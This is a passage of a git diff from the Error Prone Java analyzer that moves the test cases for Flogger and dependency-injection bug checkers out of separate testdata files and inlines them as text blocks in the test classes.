logger.atInfo().log("This is weird but not necessarily wrong"); + } + } + + public void checkAtInfo(TestLogger notALogger, FluentLogger logger2) { + if (notALogger.atInfo().isEnabled()) { + logger2.atInfo().log("test"); + } + } + + public void checkAtInfo(TestLogger notALogger) { + if (notALogger.atInfo() == null) { + notALogger.atInfo(); + } + } + + public void checkMethods(FluentLogger logger) { + if (logger.atInfo().isEnabled()) { + atInfo(); + isEnabled(); + } + } + + public void multipleLines(FluentLogger logger) { + if (logger.atInfo().isEnabled()) { + int foo = 10; + logger.atInfo().log("test"); + } + } + + public boolean atInfo() { + return true; + } + + public boolean isEnabled() { + return true; + } + + private class TestLogger { + public TestLogger atInfo() { + return null; + } + + public boolean isEnabled() { + return true; + } + } +}""") .doTest(); } @Test public void fixes() { BugCheckerRefactoringTestHelper.newInstance(FloggerRedundantIsEnabled.class, getClass()) - .addInput("testdata/FloggerRedundantIsEnabledPositiveCases.java") - .addOutput("testdata/FloggerRedundantIsEnabledPositiveCases_expected.java") + .addInputLines( + "FloggerRedundantIsEnabledPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.flogger.testdata; + + import com.google.common.flogger.FluentLogger; + + /** Created by mariasam on 7/17/17. */ + class FloggerRedundantIsEnabledPositiveCases { + + public void basicCase(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void nestedIf(FluentLogger logger) { + if (7 == 7) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + } + + public void checkBinaryInIf(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (7 == 7 && logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void checkBinaryOtherWay(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled() && 7 == 7) { + logger.atInfo().log("test"); + } + } + + public void complexBinary(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (7 == 7 && (logger != null && logger.atInfo().isEnabled())) { + logger.atInfo().log("test"); + } + } + + public void negated(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (!logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void binaryNegated(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (!logger.atInfo().isEnabled() && 7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkConfig(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atConfig().isEnabled()) { + logger.atConfig().log("test"); + } + } + + public void checkFine(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFine().isEnabled()) { + logger.atFine().log("test"); + } + } + + public void checkFiner(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFiner().isEnabled()) { + logger.atFiner().log("test"); + } + } + + public void checkFinest(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFinest().isEnabled()) { + logger.atFinest().log("test"); + } + } + + public void checkWarning(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atWarning().isEnabled()) { + logger.atWarning().log("test"); + } + } + + public void checkSevere(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atSevere().isEnabled()) { + logger.atSevere().log("test"); + } + } + }""") + .addOutputLines( + "FloggerRedundantIsEnabledPositiveCases_expected.java", + """ + package com.google.errorprone.bugpatterns.flogger.testdata; + + import com.google.common.flogger.FluentLogger; + + /** + * @author mariasam@google.com (Maria Sam) + */ + class FloggerRedundantIsEnabledPositiveCases { + + public void basicCase(FluentLogger logger) { + logger.atInfo().log("test"); + } + + public void nestedIf(FluentLogger logger) { + if (7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkBinaryInIf(FluentLogger logger) { + if (7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkBinaryOtherWay(FluentLogger logger) { + if (7 == 7) { + logger.atInfo().log("test"); + } + } + + public void complexBinary(FluentLogger logger) { + if (7 == 7 && (logger != null)) { + logger.atInfo().log("test"); + } + } + + public void negated(FluentLogger logger) { + logger.atInfo().log("test"); + } + + public void binaryNegated(FluentLogger logger) { + if (7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkConfig(FluentLogger logger) { + logger.atConfig().log("test"); + } + + public void checkFine(FluentLogger logger) { + logger.atFine().log("test"); + } + + public void checkFiner(FluentLogger logger) { + logger.atFiner().log("test"); + } + + public void checkFinest(FluentLogger logger) { + logger.atFinest().log("test"); + } + + public void checkWarning(FluentLogger logger) { + logger.atWarning().log("test"); + } + + public void checkSevere(FluentLogger logger) { + logger.atSevere().log("test"); + } + }""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledNegativeCases.java deleted file mode 100644 index 0d9c6aaf96f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledNegativeCases.java +++ /dev/null @@ -1,102 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.flogger.testdata; - -import com.google.common.flogger.FluentLogger; -import java.util.Arrays; -import java.util.List; -import java.util.Map; - -/** - * @author mariasam@google.com (Maria Sam) - */ -public class FloggerRedundantIsEnabledNegativeCases { - - public void basicCase(FluentLogger logger) { - logger.atInfo().log("test"); - } - - public void sameLoggerIf(FluentLogger logger, FluentLogger logger2) { - if (logger.equals(logger2)) { - logger.atInfo().log("test"); - } - } - - public void relatedIf(FluentLogger logger, FluentLogger logger2) { - if (logger.atInfo().isEnabled()) { - logger2.atInfo().log("test"); - } - } - - public void doesWork(FluentLogger logger, Map> map) { - if (logger.atFine().isEnabled()) { - for (Map.Entry> toLog : map.entrySet()) { - logger.atFine().log("%s%s", toLog.getKey(), Arrays.toString(toLog.getValue().toArray())); - } - } - } - - public void differentLevels(FluentLogger logger) { - if (logger.atFine().isEnabled()) { - logger.atInfo().log("This is weird but not necessarily wrong"); - } - } - - public void checkAtInfo(TestLogger notALogger, FluentLogger logger2) { - if (notALogger.atInfo().isEnabled()) { - logger2.atInfo().log("test"); - } - } - - public void checkAtInfo(TestLogger notALogger) { - if (notALogger.atInfo() == null) { - notALogger.atInfo(); - } - } - - public void checkMethods(FluentLogger logger) { - if (logger.atInfo().isEnabled()) { - atInfo(); - isEnabled(); - } - } - - public void multipleLines(FluentLogger logger) { - if (logger.atInfo().isEnabled()) { - int foo = 10; - logger.atInfo().log("test"); - } - } - - public boolean atInfo() { - return true; - } - - public boolean isEnabled() { - return true; - } - - private class TestLogger { - public TestLogger atInfo() { - return null; - } - - public boolean isEnabled() { - return true; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases.java deleted file mode 100644 index 17b804c28be..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases.java +++ /dev/null @@ -1,116 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.flogger.testdata; - -import com.google.common.flogger.FluentLogger; - -/** Created by mariasam on 7/17/17. */ -class FloggerRedundantIsEnabledPositiveCases { - - public void basicCase(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atInfo().isEnabled()) { - logger.atInfo().log("test"); - } - } - - public void nestedIf(FluentLogger logger) { - if (7 == 7) { - // BUG: Diagnostic contains: redundant - if (logger.atInfo().isEnabled()) { - logger.atInfo().log("test"); - } - } - } - - public void checkBinaryInIf(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (7 == 7 && logger.atInfo().isEnabled()) { - logger.atInfo().log("test"); - } - } - - public void checkBinaryOtherWay(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atInfo().isEnabled() && 7 == 7) { - logger.atInfo().log("test"); - } - } - - public void complexBinary(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (7 == 7 && (logger != null && logger.atInfo().isEnabled())) { - logger.atInfo().log("test"); - } - } - - public void negated(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (!logger.atInfo().isEnabled()) { - logger.atInfo().log("test"); - } - } - - public void binaryNegated(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (!logger.atInfo().isEnabled() && 7 == 7) { - logger.atInfo().log("test"); - } - } - - public void checkConfig(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atConfig().isEnabled()) { - logger.atConfig().log("test"); - } - } - - public void checkFine(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atFine().isEnabled()) { - logger.atFine().log("test"); - } - } - - public void checkFiner(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atFiner().isEnabled()) { - logger.atFiner().log("test"); - } - } - - public void checkFinest(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atFinest().isEnabled()) { - logger.atFinest().log("test"); - } - } - - public void checkWarning(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atWarning().isEnabled()) { - logger.atWarning().log("test"); - } - } - - public void checkSevere(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atSevere().isEnabled()) { - logger.atSevere().log("test"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases_expected.java deleted file mode 100644 index 21113e2e017..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases_expected.java +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.flogger.testdata; - -import com.google.common.flogger.FluentLogger; - -/** - * @author mariasam@google.com (Maria Sam) - */ -class FloggerRedundantIsEnabledPositiveCases { - - public void basicCase(FluentLogger logger) { - logger.atInfo().log("test"); - } - - public void nestedIf(FluentLogger logger) { - if (7 == 7) { - logger.atInfo().log("test"); - } - } - - public void checkBinaryInIf(FluentLogger logger) { - if (7 == 7) { - logger.atInfo().log("test"); - } - } - - public void checkBinaryOtherWay(FluentLogger logger) { - if (7 == 7) { - logger.atInfo().log("test"); - } - } - - public void complexBinary(FluentLogger logger) { - if (7 == 7 && (logger != null)) { - logger.atInfo().log("test"); - } - } - - public void negated(FluentLogger logger) { - logger.atInfo().log("test"); - } - - public void binaryNegated(FluentLogger logger) { - if (7 == 7) { - logger.atInfo().log("test"); - } - } - - public void checkConfig(FluentLogger logger) { - logger.atConfig().log("test"); - } - - public void checkFine(FluentLogger logger) { - logger.atFine().log("test"); - } - - public void checkFiner(FluentLogger logger) { - logger.atFiner().log("test"); - } - - public void checkFinest(FluentLogger logger) { - logger.atFinest().log("test"); - } - - public void checkWarning(FluentLogger logger) { - logger.atWarning().log("test"); - } - - public void checkSevere(FluentLogger logger) { - logger.atSevere().log("test"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnConstructorsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnConstructorsTest.java index 1770f10628e..ae7a671583b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnConstructorsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnConstructorsTest.java @@ -33,14 +33,119 @@ public class AssistedInjectAndInjectOnConstructorsTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/AssistedInjectAndInjectOnConstructorsPositiveCases.java") + .addSourceLines( + "AssistedInjectAndInjectOnConstructorsPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedInjectAndInjectOnConstructorsPositiveCases { + /** + * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated + * with @AssistedInject. + */ + // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors + public class TestClass1 { + @javax.inject.Inject + public TestClass1() {} + + @AssistedInject + public TestClass1(int n) {} + } + + /** + * Class has a constructor annotated with @com.google.inject.Inject and another constructor + * annotated with @AssistedInject. + */ + // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors + public class TestClass2 { + @com.google.inject.Inject + public TestClass2() {} + + @AssistedInject + public TestClass2(int n) {} + } + + /** + * Class has a constructor annotated with @com.google.inject.Inject, another constructor annotated + * with @AssistedInject, and a third constructor with no annotation. + */ + // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors + public class TestClass3 { + @com.google.inject.Inject + public TestClass3() {} + + @AssistedInject + public TestClass3(int n) {} + + public TestClass3(String s) {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/AssistedInjectAndInjectOnConstructorsNegativeCases.java") + .addSourceLines( + "AssistedInjectAndInjectOnConstructorsNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedInjectAndInjectOnConstructorsNegativeCases { + /** Class has a single constructor with no annotation. */ + public class TestClass1 { + TestClass1() {} + } + + /** Class has a constructor with a @javax.inject.Inject annotation. */ + public class TestClass2 { + @javax.inject.Inject + public TestClass2() {} + } + + /** Class has a constructor with a @com.google.inject.Inject annotation. */ + public class TestClass3 { + @com.google.inject.Inject + public TestClass3() {} + } + + /** Class has a constructor annotated with @AssistedInject */ + public class TestClass4 { + @AssistedInject + public TestClass4() {} + } + + /** Class has a constructor with a @AssistedInject annotation as well as an injectable field */ + public class TestClass5 { + @javax.inject.Inject private int n; + + @AssistedInject + public TestClass5() {} + } + + /** + * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated + * with @AssistedInject. The warning is suppressed. + */ + @SuppressWarnings("AssistedInjectAndInjectOnConstructors") + public class TestClass6 { + @javax.inject.Inject + public TestClass6() {} + + @AssistedInject + public TestClass6(int n) {} + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnSameConstructorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnSameConstructorTest.java index 8f5adc776c0..b0aa1b95a74 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnSameConstructorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnSameConstructorTest.java @@ -33,14 +33,115 @@ public class AssistedInjectAndInjectOnSameConstructorTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/AssistedInjectAndInjectOnSameConstructorPositiveCases.java") + .addSourceLines( + "AssistedInjectAndInjectOnSameConstructorPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedInjectAndInjectOnSameConstructorPositiveCases { + /** Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. */ + public class TestClass1 { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + // BUG: Diagnostic contains: remove + @AssistedInject + public TestClass1() {} + } + + /** Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. */ + public class TestClass2 { + // BUG: Diagnostic contains: remove + @com.google.inject.Inject + // BUG: Diagnostic contains: remove + @AssistedInject + public TestClass2() {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/AssistedInjectAndInjectOnSameConstructorNegativeCases.java") + .addSourceLines( + "AssistedInjectAndInjectOnSameConstructorNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedInjectAndInjectOnSameConstructorNegativeCases { + /** Class has a single constructor with no annotation. */ + public class TestClass1 { + TestClass1() {} + } + + /** Class has a constructor with a @javax.inject.Inject annotation. */ + public class TestClass2 { + @javax.inject.Inject + public TestClass2() {} + } + + /** Class has a constructor with a @com.google.injectInject annotation. */ + public class TestClass3 { + @com.google.inject.Inject + public TestClass3() {} + } + + /** Class has a constructor annotated with @AssistedInject */ + public class TestClass4 { + @AssistedInject + public TestClass4() {} + } + + /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */ + public class TestClass5 { + @javax.inject.Inject + public TestClass5(int n) {} + + @AssistedInject + public TestClass5() {} + } + + /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */ + public class TestClass6 { + @com.google.inject.Inject + public TestClass6(int n) {} + + @AssistedInject + public TestClass6() {} + } + + /** + * Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. Error is + * suppressed. + */ + @SuppressWarnings("AssistedInjectAndInjectOnSameConstructor") + public class TestClass7 { + @javax.inject.Inject + @AssistedInject + public TestClass7() {} + } + + /** + * Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. Error is + * suppressed. + */ + @SuppressWarnings("AssistedInjectAndInjectOnSameConstructor") + public class TestClass8 { + @com.google.inject.Inject + @AssistedInject + public TestClass8() {} + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AutoFactoryAtInjectTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AutoFactoryAtInjectTest.java index 70f6e484e66..471f873e928 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AutoFactoryAtInjectTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AutoFactoryAtInjectTest.java @@ -32,11 +32,78 @@ public class AutoFactoryAtInjectTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AutoFactoryAtInjectPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AutoFactoryAtInjectPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.auto.factory.AutoFactory; + import javax.inject.Inject; + + class AssistedInjectAndInjectOnSameConstructorPositiveCases { + + @AutoFactory + static class HasAutoFactoryOnClass { + // BUG: Diagnostic contains: remove + @Inject + HasAutoFactoryOnClass() {} + } + + @AutoFactory + static class UsesGuiceInject { + // BUG: Diagnostic contains: remove + @com.google.inject.Inject + UsesGuiceInject() {} + } + + static class HasAutoFactoryOnConstructor { + // BUG: Diagnostic contains: remove + @Inject + @AutoFactory + HasAutoFactoryOnConstructor() {} + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AutoFactoryAtInjectNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AutoFactoryAtInjectNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.auto.factory.AutoFactory; + import javax.inject.Inject; + + class AutoFactoryAtInjectNegativeCases { + + @AutoFactory + static class AtInjectOnInnerType { + static class InnerType { + @Inject + InnerType() {} + } + } + + static class AutoFactoryOnInnerType { + @Inject + AutoFactoryOnInnerType() {} + + @AutoFactory + static class InnerType {} + } + + static class OnDifferentConstructors { + @Inject + OnDifferentConstructors(String string) {} + + @AutoFactory + OnDifferentConstructors(Object object) {} + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/CloseableProvidesTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/CloseableProvidesTest.java index 2c713482554..2e366812005 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/CloseableProvidesTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/CloseableProvidesTest.java @@ -32,11 +32,78 @@ public class CloseableProvidesTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/CloseableProvidesPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "CloseableProvidesPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.Provides; + import java.io.Closeable; + import java.io.PrintWriter; + import java.nio.charset.StandardCharsets; + import javax.inject.Singleton; + + /** + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class CloseableProvidesPositiveCases { + + static class ImplementsClosable implements Closeable { + public void close() { + // no op + } + } + + @Provides + // BUG: Diagnostic contains: CloseableProvides + ImplementsClosable providesImplementsClosable() { + return new ImplementsClosable(); + } + + @Provides + @Singleton + // BUG: Diagnostic contains: CloseableProvides + PrintWriter providesPrintWriter() throws Exception { + return new PrintWriter("some_file_path", StandardCharsets.UTF_8.name()); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/CloseableProvidesNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "CloseableProvidesNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.Provides; + import javax.inject.Singleton; + + /** + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class CloseableProvidesNegativeCases { + + static class DoesNotImplementsClosable { + public void close() { + // no op + } + } + + @Provides + DoesNotImplementsClosable providesDoesNotImplementsClosable() { + return new DoesNotImplementsClosable(); + } + + @Provides + @Singleton + Object providesObject() { + return new Object(); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectOnMemberAndConstructorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectOnMemberAndConstructorTest.java index 1962e6b28c8..0cb41dabbdf 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectOnMemberAndConstructorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectOnMemberAndConstructorTest.java @@ -80,7 +80,40 @@ public InjectOnMemberAndConstructorPositiveCases( @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/InjectOnMemberAndConstructorNegativeCases.java") + .addSourceLines( + "InjectOnMemberAndConstructorNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import javax.inject.Inject; + + /** + * Negative test cases for {@link InjectOnMemberAndConstructor} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class InjectOnMemberAndConstructorNegativeCases { + + public class InjectOnConstructorOnly { + private final String stringFieldWithoutInject; + + @Inject + public InjectOnConstructorOnly(String stringFieldWithoutInject) { + this.stringFieldWithoutInject = stringFieldWithoutInject; + } + } + + public class InjectOnFieldOnly { + @Inject private String stringFieldWithInject; + } + + public class MixedInject { + @Inject private String stringFieldWithInject; + + @Inject + public MixedInject() {} + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectedConstructorAnnotationsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectedConstructorAnnotationsTest.java index aec5f90490f..1b966c9a261 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectedConstructorAnnotationsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectedConstructorAnnotationsTest.java @@ -31,14 +31,86 @@ public class InjectedConstructorAnnotationsTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/InjectedConstructorAnnotationsPositiveCases.java") + .addSourceLines( + "InjectedConstructorAnnotationsPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.BindingAnnotation; + import com.google.inject.Inject; + + /** A positive test case for InjectedConstructorAnnotation. */ + public class InjectedConstructorAnnotationsPositiveCases { + + /** A binding annotation. */ + @BindingAnnotation + public @interface TestBindingAnnotation { + } + + /** A class with an optionally injected constructor. */ + public class TestClass1 { + // BUG: Diagnostic contains: @Inject public TestClass1 + @Inject(optional = true) public TestClass1() {} + } + + /** A class with an injected constructor that has a binding annotation. */ + public class TestClass2 { + // BUG: Diagnostic contains: @Inject public TestClass2 + @TestBindingAnnotation @Inject public TestClass2() {} + } + + /** A class whose constructor is optionally injected and has a binding annotation. */ + public class TestClass3 { + // BUG: Diagnostic contains: @Inject public TestClass3 + @TestBindingAnnotation @Inject(optional = true) public TestClass3() {} + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/InjectedConstructorAnnotationsNegativeCases.java") + .addSourceLines( + "InjectedConstructorAnnotationsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.BindingAnnotation; + import com.google.inject.Inject; + + /** A negative test case for InjectedConstructorAnnotation. */ + public class InjectedConstructorAnnotationsNegativeCases { + + private @interface TestAnnotation {} + + @BindingAnnotation + private @interface TestBindingAnnotation {} + + /** A class with a constructor that has no annotations. */ + public class TestClass1 { + public TestClass1() {} + } + + /** A class with a constructor that has a binding Annotation. */ + public class TestClass2 { + @TestBindingAnnotation + public TestClass2() {} + } + + /** A class with an injected constructor. */ + public class TestClass3 { + @Inject + public TestClass3() {} + } + + /** A class with an injected constructor that has a non-binding annotation. */ + public class TestClass4 { + @Inject + @TestAnnotation + public TestClass4() {} + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InvalidTargetingOnScopingAnnotationTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InvalidTargetingOnScopingAnnotationTest.java index 75589171270..ceeaf68d6f0 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InvalidTargetingOnScopingAnnotationTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InvalidTargetingOnScopingAnnotationTest.java @@ -33,14 +33,119 @@ public class InvalidTargetingOnScopingAnnotationTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/InvalidTargetingOnScopingAnnotationPositiveCases.java") + .addSourceLines( + "InvalidTargetingOnScopingAnnotationPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import static java.lang.annotation.ElementType.CONSTRUCTOR; + import static java.lang.annotation.ElementType.METHOD; + import static java.lang.annotation.ElementType.PARAMETER; + import static java.lang.annotation.ElementType.TYPE; + import static java.lang.annotation.RetentionPolicy.RUNTIME; + + import com.google.inject.ScopeAnnotation; + import java.lang.annotation.ElementType; + import java.lang.annotation.Retention; + import java.lang.annotation.Target; + import javax.inject.Scope; + + /** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ + public class InvalidTargetingOnScopingAnnotationPositiveCases { + + /** Scoping excludes METHOD */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD}) + @Target(TYPE) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation1 {} + + /** Scoping excludes TYPE */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD}) + @Target(METHOD) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation2 {} + + /** Scoping excludes both, but has other elements to preserve */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER}) + @Target(PARAMETER) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation4 {} + + /** Scoping includes one of the required ones. */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR}) + @Target({PARAMETER, METHOD, CONSTRUCTOR}) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation5 {} + + /** Same as above, but with a different physical manifestation */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR}) + @Target(value = {ElementType.PARAMETER, METHOD, CONSTRUCTOR}) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation6 {} + + /** Target annotation is empty, nonsensical since it can't be applied to anything */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD}) + @Target({}) + @ScopeAnnotation + @Retention(RUNTIME) + public @interface TestAnnotation7 {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/InvalidTargetingOnScopingAnnotationNegativeCases.java") + .addSourceLines( + "InvalidTargetingOnScopingAnnotationNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; +import static java.lang.annotation.ElementType.TYPE; +import static java.lang.annotation.RetentionPolicy.RUNTIME; + +import java.lang.annotation.Retention; +import java.lang.annotation.Target; +import javax.inject.Scope; + +/** + * @author sgoldfeder@google.com(Steven 